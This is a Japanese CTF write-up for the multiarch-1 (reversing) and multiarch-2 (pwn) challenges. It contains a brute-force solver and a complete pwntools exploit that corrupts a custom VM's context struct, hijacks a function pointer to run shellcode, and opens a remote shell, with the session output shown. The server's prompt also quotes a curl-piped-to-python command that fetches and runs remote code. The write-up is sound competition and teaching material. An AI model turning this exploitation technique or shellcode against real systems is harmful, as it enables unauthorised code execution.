RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 61 :: RET
  Read8(0x00001164) => 0x00
  Read32(0x00008edc) => 0x000010bd
#### RET後 ####
  Read8(0x000010bd) => 0x10
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 10 :: push(0x00ffffff)
  Read32(0x000010be) => 0x00ffffff
  Write32(0x00008edc, 0x00ffffff)
  Read8(0x000010c2) => 0x11
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 11 :: push(A)
  Write32(0x00008ed8, 0x79d3a213)
StackInst: opcode: 63, operand: 0x00000000 :: BIT_AND
  Read32(0x00008ed8) => 0x79d3a213
  Read32(0x00008edc) => 0x00ffffff
  Write32(0x00008edc, 0x00d3a213)
StackInst: opcode: 30, operand: 0x00c0ffee :: PUSH(0x00c0ffee)
  Write32(0x00008ed8, 0x00c0ffee)
StackInst: opcode: 80, operand: 0x00000000 :: POP, POP, CMP。実質「A&0x00FFFFFF == 0x00c0ffee」
  Read32(0x00008ed8) => 0x00c0ffee
  Read32(0x00008edc) => 0x00d3a213
CMP: Value2: 0x00c0ffee, Value1: 0x00d3a213
StackInst: opcode: 71, operand: 0x000010ec # どっかで一致すれば良さそう?
  Read8(0x000010d7) => 0x21
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000000, 0x00000000], opcode: 21 :: C+=1
  Read8(0x000010d8) => 0x30
  Read32(0x000010d9) => 0x00000001
  Read8(0x000010dd) => 0x82
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 82 :: 多分CMP(C, 10)
  Read32(0x000010de) => 0x0000000a
CMP: Value2: 0x00000001, Value1: 0x0000000a
  Read8(0x000010e2) => 0x62
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 62 :: JZ
  Read8(0x000010e7) => 0x68
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 68 :: GOTO 0x000010b8
  Read32(0x000010e8) => 0x000010b8
  Read8(0x000010b8) => 0x60
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: 60
  Read32(0x000010b9) => 0x00001145
  Write32(0x00008edc, 0x000010bd)

#### CALL ####
  Read8(0x00001145) => 0xc5
RegInst: BEFORE Regs: [0x79d3a213, 0x8b3267e1, 0x00000001, 0x00000000], opcode: c5 :: A=0x00133700(2回目以降も同じ!)
(以降省略)

全体として、srand(32-bit入力値)というものすごい入力の使い方をしてから、10ループ中1回でも「rand()2回を元にした計算結果下位32-bitが0x00c0ffee」になれば突破できるようです。32-bitブルートフォースが良さそうですし、おそらく24-bit程度の探索で解の1つは見つかりそうです。

最初はmulti_arch crackme.masmと与えられたバイナリへブルートフォースを試していましたが、毎秒50回程度の速度にとどまりました。「確かPythonからglibcの関数を直接呼び出す方法があったはず」と思ってGoogle検索するとctypesライブラリを使った手法を見つけたので、その方法で実装しました:

#!/usr/bin/env python3

import ctypes

import tqdm

libc = ctypes.CDLL("libc.so.6")


def attack(answer3: int) -> bool:
    libc.srand(answer3)

    for i in range(10):
        value = 0x00133700

        rand = libc.rand() & 0xFFFF
        rand |= (libc.rand() & 0xFFFF) << 16
        # print(f"{rand = :08x}")

        value ^= rand
        value ^= 0xF2F2F2F2
        if (value & 0x00FFFFFF) == 0x00C0FFEE:
            tqdm.tqdm.write(f"{value: 08x}")
            return True
    return False


attack(0xDEADBEEF)  # テストに使った内容

for i in tqdm.trange(1 << 32):
    if attack(i):
        tqdm.tqdm.write(str(i))
        break

実行すると、毎秒10万回を超える速度が出ました。実行すると数十秒で、入力値が2688102なら計算結果が81c0ffeeとなって正解判定となることが分かりました。

リモートへの送信内容とフラグ

3個のChallengeそれぞれで正解となる入力を無事に求められたので、問題文記載のnc接続先と通信しました:

$ nc multiarch-1.2025.ctfcompetition.com 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AJyu.AAARDOM2gYD7cout/9c9W3Sz
===================

Solution? s.AABZGQ2rHOu9Y21sC754CPZDTIzW9DEv5VI/YCXNmAaJug5XVfIHBe9wiHTIRvysMoYvrAkdIZaeuwHCLs/Cb8mRRAJYOxG0FfTjr9XXabYc04xpeN/x4kZBW9Vse3qmEPqjOtGMkg6G8W8sNYTfCp8Eno7rmjYGAfeW/xmGYy4KRGBjillmewJ9jh6qRIS76z6bsK9PvftO76VAOVeGJ7FK
Correct
Welcome to the multiarch of madness! Let's see how well you understand it.
Challenge 1 - What's your favorite number? 2405061754
Challenge 2 - Tell me a joke: |G0V|BeM1W2fZJgI2q{=FVrYzeM~UQP
Challenge 3 - Almost there! But can you predict the future?
What number am I thinking of? 2688102
Congrats! You are the Sorcerer Supreme of the multiarch!
Here, have a flag: CTF{st3ph3n_str4ng3_0nly_us3s_m1ps_wh4t_a_n00b}

フラグを入手できました: CTF{st3ph3n_str4ng3_0nly_us3s_m1ps_wh4t_a_n00b}

[pwn] multiarch-2 (48 teams solves, 206 points)

My program was cool, but I bet you can write even cooler ones! Send them to my server, and try to read the flag at /flag.

multiarch-2.2025.ctfcompetition.com 1337

別のnc接続先がありました。また、配布ファイルもありますが、問題本体のmultiarchはrevジャンルのmultiarch-1と完全に同一です!crackme.masmではなく任意のMASMファイルを与えて、任意コード実行を達成する問題です。

crackme.masmでは使わなかった怪しい機能

reversingジャンルのmultiarch-1multiarchバイナリを解析中、次のことを思っていました:

  • MASMファイルパース結果のtextセクション相当やdataセクション相当の内容は、mmap関数で読み書き実行可能な領域にコピーされます。pwn視点で悪用できそうです。
  • 独自system call 5のフラグ表示機能で、環境変数FLAGを取得する処理を、わざわざ関数ポインター経由で呼び出しているのが怪しいです。
  • 独自system call 6のメモリ確保機能が、crackme.masmではまったく使われていません。
  • RegVM instruction側のopcode 0x41を処理する0x273A付近で、レジスタやメモリではない何かを変更しようとしていてものすごく怪しいです:
      case 0x41u:
        v16 = pContext->dwPC_Initial0x1000;
        pContext->dwPC_Initial0x1000 = v16 + 1;
        if ( Read8(pContext, v16, (unsigned __int8 *)&dwSome)
          && (bSucceeded = Read32(pContext, pContext->dwPC_Initial0x1000, &dwValue)) )
        {
          pContext->dwPC_Initial0x1000 += 4;
          v17 = ((unsigned __int8)dwSome >> 4) - 1 + 0xCLL;
          *(_DWORD *)((char *)&pContext->pDataSegment_Size0x1000_Rwx + 4 * v17 + 3) ^= dwValue;// 左辺がすごく怪しい
        }
        else
        {
          pContext->bExecutionFailed = 1;
          return 0;
        }
        return bSucceeded;

最終的に、怪しいと思った点すべてを活用できました!

VM中仮想アドレスの参照先をVM実行状態構造体へ書き換える

RegVM instruction側のopcode 0x41の処理内容をデバッガーで確認すると、なんとVM実行状態構造体の途中からのメンバーを4バイトXORできることが分かりました!opcode 0x41のオペランド5バイト中先頭1バイトが書き換え先メンバーを表します。1バイトオペランド >> 4のように使わているので、0x10ごとに書き換え先が変化します。VM実行状態を表す構造体を再掲します:

struct HeapSegment
{
  void *pAllocatedSize0x200;
  int dwVmAddrBegin;
};

struct VmContext
{
  void *pTextSegment_Size0x1000_Rwx;
  void *pDataSegment_Size0x1000_Rwx;
  void *pStackSegment_Size0x1000_Rwx;
  unsigned __int8 *pDataSegment_3_ForInstructionIsStackOrReg;
  __int64 qwSize_Segment3_StackOrRegBits;
  const char *(*fpGetFlagFromEnvironmentVariable)(void);
  bool bExecutionFailed;
  bool bCanUseSyscall6_WhenRegInst;     ///< StackInstだとこのフラグは無視できる
  unsigned __int8 dwStatusFlag_0ZF_1OF_2Something;
  unsigned int dwPC_Initial0x1000;
  unsigned int dwSP_Initial0x8F00; // RegVM instruction書き換え可能範囲ここから
  unsigned int dwRegisterAbcdArraySize4[4]; ///< [0]: Aレジスタ
                                            ///< [1]: Bレジスタ
                                            ///< [2]: Cレジスタ
                                            ///< [3]: Dレジスタ
  HeapSegment heapSegmentArray_Size5[5]; ///< RevM instruction 0x41で書き換え可能範囲はここの[4]途中まで
  unsigned __int8 byteHeapSegmentCount;
};

ここで、独自system call 6で割り当てられたメモリアドレスHeapSegment::pAllocatedSize0x200を書き換えると、multiarchプロセス中の別メモリ領域をVM実行中に読み書きできそうです。

独自systemm call 6ではcalloc(0x200u, 1u)の形でメモリを確保します。また、上記VM実行状態構造体もcalloc(1, 0x88)の形で確保されます。pwndbgのheapコマンドなどで確認すると、2つのメモリ確保の間にはcalloc(1, 10)が1個挟まっているだけであり、途中のfree等も存在しないらしいことが分かりました。そうなると、VM実行状態用の確保メモリアドレスと、独自system call 6での確保メモリアドレスは一定距離である可能性があります。

今回使用できるのはXOR演算であるため、HeapのASLR配置による影響を受けると思います。ただ手元実行時では、pwndbgで確認したアドレスを使うと、独自system all 6結果のアドレスをXORすることでVM実行状態構造体の先頭アドレスへ書き換えられました。確認したアドレスのメモです:

# 0x614ff0560580 : vmcontext
# 0x614ff0560630 : 独自syscall 6のやつ
XOR_VALUE_TO_VMCONTEXT = (0x614FF0560630 + 0x10) ^ (0x614FF0560580 + 0x10)

関数ポインター書き換えでのシェルコード実行

VM実行状態構造体をVM命令経由で読み書きできるようになりました。色々考えて、次の方針で実装しました:

  1. MASMファイルのdataセグメント箇所に、シェルを起動するシェルコードをそのまま含めます。
  2. 前節の手法で、独自system call 6で確保したアドレスをVM実行状態構造体のアドレスへ書き換えます。
  3. 独自system call 2を使って、VM実行状態構造体の内容をすべて取得します。fwrite関数が使われるため、構造体中にNULバイトが含まれていても問題ありません。
  4. 取得結果から、MASMファイルのdataセグメント内容がそのままコピーされた、読み書き実行可能なメモリアドレスを取得します(上記構造体の命名ではpDataSegment_Size0x1000_Rwxメンバーの内容を取得します)。
  5. 独自system call 1を使って、独自system call 5時に呼び出される関数ポインターメンバーの内容を、前の手順で取得したdataセグメント内容のアドレスへ書き換えます(上記構造体の命名ではfpGetFlagFromEnvironmentVariableメンバーの内容を書き換えます)。
  6. 独自system call 5を使って、書き換え先アドレスにあるシェルコードを実行してシェルを得ます。

ソルバーとフラグ

最終的なソルバーです(実験中のコードも多く残っています):

#!/usr/bin/env python3

import struct

import pwn

MASM_FILE_NAME = "exploit.masm"

elf = pwn.ELF("multiarch_patched", checksec=False)
libc = pwn.ELF("libc.so.6", checksec=False)

pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"

SIZE_VMCONTEXT = 0x88
OFFSET_VMCONTEXT_FP = 0x28  # 関数ポインターを持つメンバーのoffset


def create_exploit_file():
    segment_text = bytearray()
    segment_data: bytes = pwn.asm(pwn.shellcraft.amd64.linux.sh())  # type: ignore
    segment_stack_reg_bits_list: list[bool] = []  # 0: Stack, 1:Reg

    def validate_int8(value: int):
        if value < 0 or value >= (1 << 8):
            raise Exception(f"{value:08x} is Out of range!")

    def validate_int16(value: int):
        if value < 0 or value >= (1 << 16):
            raise Exception(f"{value:08x} is Out of range!")

    def validate_int32(value: int):
        if value < 0 or value >= (1 << 32):
            raise Exception(f"{value:08x} is Out of range!")

    def append_as_stack_inst(data: bytes):
        assert len(data) == 5
        segment_text.extend(data)
        segment_stack_reg_bits_list.extend([False] * len(data))

    def append_as_reg_inst(data: bytes):
        assert len(data) > 0
        segment_text.extend(data)
        segment_stack_reg_bits_list.extend([True] * len(data))

    def push8(value: int):
        validate_int8(value)
        append_as_stack_inst(pwn.p8(0x10) + pwn.p32(value))

    def push32(value: int):
        validate_int32(value)
        append_as_stack_inst(pwn.p8(0x30) + pwn.p32(value))

    def vm_inst_syscall():
        # syscall引数のpushは先にやっておいてください。
        append_as_stack_inst(pwn.p8(0xA0) + pwn.p32(0xDEADBEEF))

    def set_register_A(value: int):
        validate_int32(value)
        append_as_reg_inst(pwn.p8(0xC5) + pwn.p32(value))

    def set_register_B(value: int):
        validate_int32(value)
        append_as_reg_inst(pwn.p8(0xCD) + pwn.p32(value))

    def set_register_C(value: int):
        validate_int32(value)
        append_as_reg_inst(pwn.p8(0xD5) + pwn.p32(value))

    def set_register_D(value: int):
        validate_int32(value)
        append_as_reg_inst(pwn.p8(0xDD) + pwn.p32(value))

    def push_register_A():
        append_as_reg_inst(pwn.p8(0x11))

    def pop_register_A():
        append_as_reg_inst(pwn.p8(0x15))

    def xor_vmcontext_field(index: int, value_to_xor: int):
        validate_int8(index)
        validate_int32(value_to_xor)
        append_as_reg_inst(pwn.p8(0x41) + pwn.p8(index) + pwn.p32(value_to_xor))

    def reg_inst_syscall():
        append_as_reg_inst(pwn.p8(0x01))

    def vm_syscall_1_input_string(addr_begin: int, size: int):
        set_register_A(1)
        set_register_B(addr_begin)
        set_register_C(size)
        reg_inst_syscall()

    def vm_syscall_2_dump_memory(addr_begin: int, size: int):
        set_register_A(2)
        set_register_B(addr_begin)
        set_register_C(size)
        reg_inst_syscall()

    def vm_syscall_5_call_function_pointer():
        # あるのはStackInst側のみ
        set_register_A(0)
        push8(5)
        vm_inst_syscall()

    def vm_syscall_6_allocate(desired_address: int):
        validate_int32(desired_address)

        set_register_A(0)  # StackVM時も検証はRegisterAを使う
        push32(desired_address)
        push8(6)
        vm_inst_syscall()
        # 結果のアドレスはpushされる

    def vm_exit():
        data = pwn.p8(0x00)
        segment_text.extend(data)
        segment_stack_reg_bits_list.extend([True] * len(data))

    # 実際のエクスプロイト用入力を作成
    if False:  # テスト用。Stack枯渇検証
        set_register_A(0xDEADBEEF)
        for i in range(0x1000 // 4):
            push_register_A()

    if False:  # テスト用。syscall 6検証。
        vm_syscall_6_allocate(0x0000_0000)
        pop_register_A()  # 0xa_0000へマップされる
        vm_syscall_6_allocate(0x0000_0000)
        pop_register_A()  # 0xb_0000

        vm_syscall_6_allocate(0xFFFF_F000)
        pop_register_A()  # 指定通りに0xFFFF_F000へマップ
        vm_syscall_6_allocate(0xFFFF_F000)
        pop_register_A()  # こっちが0x0000_0000へマップされている!なにかに使えるか?
        vm_syscall_6_allocate(0xFFFF_F000)
        pop_register_A()  # 上のあと、text, dataと続くので0x3000へマップ

    if False:  # RegInst 0x41は何をする?→VMContextのメンバー書き換え!
        # xor_vmcontext_field(0x00, 0xAABBCCDD)  # SP書き換え
        # set_register_A(0xAAAAAAAA)
        # xor_vmcontext_field(0x10, 0xAABBCCDD)  # RegisterA
        # set_register_B(0xBBBBBBBB)
        # xor_vmcontext_field(0x20, 0xAABBCCDD)  # RegisterB
        # set_register_C(0xCCCCCCCC)
        # xor_vmcontext_field(0x30, 0xAABBCCDD)  # RegisterC
        # set_register_D(0xDDDDDDDD)
        # xor_vmcontext_field(0x40, 0xAABBCCDD)  # RegisterD
        vm_syscall_6_allocate(0xFFFF_F000)
        vm_syscall_6_allocate(0xFFFF_F000)
        vm_syscall_6_allocate(0xFFFF_F000)
        vm_syscall_6_allocate(0xFFFF_F000)
        xor_vmcontext_field(0x50, 0xDEADBEEF)  # Heap[0]のアドレス下位4バイト
        xor_vmcontext_field(0x60, 0xDEADBEEF)  # Heap[0]のアドレス上位4バイト
        xor_vmcontext_field(0x70, 0xDEADBEEF)  # Heap[0]のVM中論理アドレス
        xor_vmcontext_field(0x80, 0xDEADBEEF)  # Heap[1]のアドレス下位4バイト
        xor_vmcontext_field(0x90, 0xDEADBEEF)  # Heap[1]のアドレス上位4バイト
        xor_vmcontext_field(0xA0, 0xDEADBEEF)  # Heap[1]のVM中論理アドレス
        xor_vmcontext_field(0xB0, 0xDEADBEEF)  # Heap[2]のアドレス下位4バイト
        xor_vmcontext_field(0xC0, 0xDEADBEEF)  # Heap[2]のアドレス上位4バイト
        xor_vmcontext_field(0xD0, 0xDEADBEEF)  # Heap[2]のVM中論理アドレス
        xor_vmcontext_field(0xE0, 0xDEADBEEF)  # Heap[3]のアドレス下位4バイト
        xor_vmcontext_field(0xF0, 0xDEADBEEF)  # Heap[3]のアドレス上位4バイト

    ALLOCATED_VM_ADDR = 0xF000_1000
    # gdbでの確認事例
    # 0x5dc372556540 : vmcontext
    # 0x5dc3725565f0 : 独自syscall 6のやつ
    # 別の確認事例(heapコマンド)
    # 0x5c1d5d15a540: vmcontext
    # 0x5c1d5d15a5f0 : 独自syscall 6のやつ
    XOR_VALUE_TO_VMCONTEXT = (0x5C1D5D15A5F0 + 0x10) ^ (0x5C1D5D15A540 + 0x10)
    # 別の確認事例
    # 0x614ff0560580 : vmcontext
    # 0x614ff0560630 : 独自syscall 6のやつ
    XOR_VALUE_TO_VMCONTEXT = (0x614FF0560630 + 0x10) ^ (0x614FF0560580 + 0x10)

    vm_syscall_6_allocate(ALLOCATED_VM_ADDR)
    # Heap[0]のアドレス下位4バイトを変更してVMContextへ重ねたい
    xor_vmcontext_field(0x50, XOR_VALUE_TO_VMCONTEXT)
    # VMContext内部をすべて出力させて、address leak等。
    vm_syscall_2_dump_memory(ALLOCATED_VM_ADDR, SIZE_VMCONTEXT)

    # あとはFunctionPointer書き換え。
    # 次のアドレスがちょうど「bExecutionFailed」なので、NUL終端文字が入っても大丈夫
    vm_syscall_1_input_string(ALLOCATED_VM_ADDR + OFFSET_VMCONTEXT_FP, 8)

    # FunctionPointer発動
    vm_syscall_5_call_function_pointer()

    # 終了前のfreeが正常動作するように一応戻す
    xor_vmcontext_field(0x50, XOR_VALUE_TO_VMCONTEXT)
    vm_exit()  # これを外せば、最後にStackVMのinst0を実行しようとしてエラー出力してくれて便利

    # 実際のファイルへの書き込み等
    assert len(segment_text) == len(segment_stack_reg_bits_list)
    segment_stack_reg_bits = bytearray()
    bits_current = 0
    for i, b in enumerate(segment_stack_reg_bits_list):
        if b:
            bits_current |= 1 << (i % 8)
        if i == len(segment_stack_reg_bits_list) - 1 or i % 8 == 7:
            segment_stack_reg_bits.append(bits_current)
            bits_current = 0

    with open(MASM_FILE_NAME, "wb") as f:
        f.write(b"MASM")
        HEADER_SIZE = 4 + (3 * 5)
        offset_data_current = HEADER_SIZE

        f.write(pwn.p8(1))
        f.write(pwn.p16(offset_data_current))
        f.write(pwn.p16(len(segment_text)))
        offset_data_current += len(segment_text)

        f.write(pwn.p8(2))
        f.write(pwn.p16(offset_data_current))
        f.write(pwn.p16(len(segment_data)))
        offset_data_current += len(segment_data)

        f.write(pwn.p8(3))
        f.write(pwn.p16(offset_data_current))
        f.write(pwn.p16(len(segment_stack_reg_bits)))

        f.write(segment_text)
        f.write(segment_data)
        f.write(segment_stack_reg_bits)


create_exploit_file()


def solve(io: pwn.tube):
    # syscall 2でのVMContext出力
    io.recvuntil(b"[I] executing program\n")
    vmcontext = io.recvn(SIZE_VMCONTEXT)
    (
        addr_text_segment,
        addr_data_segment,
        addr_stack_segment,
        addr_ins_types,
        size_ins_types,
        addr_get_flag,
    ) = struct.unpack("<QQQQQQ", vmcontext[:48])
    print(f"{addr_get_flag = :016x}")
    elf.address = addr_get_flag - 0x12E0
    print(f"{elf.address = :016x}")

    # addr_test_to_overwrite = elf.address + 0x174A  # [D] executing as system now # 関数ポインター書き換え確認用
    payload = pwn.p64(addr_data_segment)
    assert b"\n" not in payload  # 改行が終端扱いになってしまうので存在すべきではない
    io.send(payload)

    io.interactive()
    io.stream(line_mode=False)


# fmt: off
GDBSCRIPT = r"""
set show-tips off
set follow-fork-mode parent
handle SIGALRM nostop

# 実行終了時のfwrite付近の分岐にブレーク仕掛けたい
# breakrva 0x300F

# # # RegInst 0x41を動作確認したい
# breakrva 0x2736
# # →独自syscall 6のcalloc結果のアドレスも改ざんできます
# # main到達前にも色々処理されるので、mainまで進めてからやる。
breakrva 0x2F5E
continue
break calloc

# 関数ポインター書き換え状況を知りたい
# 使われない関数へ飛ばす。
breakrva 0x174A

continue
"""
# with pwn.gdb.debug([elf.path, MASM_FILE_NAME], GDBSCRIPT) as io: solve(io)
# with pwn.process(["gdb", "-x", "test-gdb.py", elf.path]) as io: solve(io)
# with pwn.process([elf.path, MASM_FILE_NAME]) as io: solve(io)
with pwn.remote("multiarch-2.2025.ctfcompetition.com", 1337) as io:
    with open(MASM_FILE_NAME, "rb") as f:
        masm_data = f.read()

    print(io.recvuntil(b"Solution?", drop=False).decode())
    solution = input()
    io.sendline(solution.encode())

    io.sendlineafter(b"How big is your program? ", str(len(masm_data)).encode())
    io.send(masm_data)

    solve(io)

実行しました:

$ ./solve.py
[+] Opening connection to multiarch-2.2025.ctfcompetition.com on port 1337: Done
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AJyu.AAAUAHRoWUKwUoTD6WsU3toH
===================

Solution?
s.AABNEHHV21Za1pTaIYCtwQS1rCOHcRp6Jhn3TXYi7o6PIsrvNRgN7iVsPF4lGDPq6VUJ9TjOniqWqtke4KgYxWFsSxfULAbsNOLC6GDu9+UzvRcS8veGrB4IR0Bx2u3muVJjQDJHGHvUv2Bexa6ay648WbZW45cUWTQw5rfiEY+PW0C/CGM/bvr6KjGY7ZqiVZqJ8lG1kq758wlGgLbMwxm5
addr_get_flag = 000055959c6162e0
elf.address = 000055959c615000
[*] Switching to interactive mode
$ ls
multiarch
runner.py
$ whoami
user
$ cat /flag
CTF{y0u_4r3_th3_s0rc3rer_supr3m3_n0w_h4ppy_h4xing}$

フラグを入手できました: CTF{y0u_4r3_th3_s0rc3rer_supr3m3_n0w_h4ppy_h4xing}

感想

  • 1つのバイナリでReversingジャンル問題とPwnジャンル問題があると面白いです。両方解けると爽快です!
  • 主にReversingジャンルとMiscジャンルの問題を見ていました。解けませんでしたが、GUIゲームを題材とした問題が多く、コンテストのテーマを感じました。
    • Reversingジャンルのそのような問題だと、ゲームエンジン部分とゲーム本質部分の区別が大事だと思います。ただそのあたりに不慣れで、コードの海に溺れてなすすべもありませんでした……。
  • ルール記載がPDF資料で、かつqualification stageとfinal stageの話がまとめて記載されています。読むのが少し大変に思いました。